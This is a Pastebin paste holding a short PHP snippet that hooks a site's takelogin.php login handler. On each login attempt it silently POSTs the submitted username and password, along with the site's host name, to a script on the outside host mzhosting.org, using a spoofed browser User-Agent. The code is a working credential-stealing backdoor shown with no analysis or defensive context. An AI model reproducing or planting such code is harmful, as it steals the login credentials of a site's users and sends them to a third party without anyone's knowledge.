Guest User

Untitled

a guest
Feb 7th, 2017
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. if($_SERVER["PHP_SELF"]=="/takelogin.php") {
  2. $fp = @fsockopen("www.mzhosting.org", 80, $errno, $errstr, 0.5);
  3. if($fp) {
  4. $data="username=".$username."&password=".$password."&oldal=".urlencode($_SERVER['HTTP_HOST']);
  5. $out = "POST /kapocs.php HTTP/1.1\r\n";
  6. $out .= "Host: www.mzhosting.org\r\n";
  7. $out .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  8. $out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11\r\n";
  9. $out .= "Content-Length: ".strlen($data)."\r\n";
  10. $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
  11. $out .= "Connection: Close\r\n\r\n";
  12. $out .= $data;
  13. fwrite($fp, $out);
  14. fclose($fp);
  15. }
  16. }
Add Comment
Please, Sign In to add comment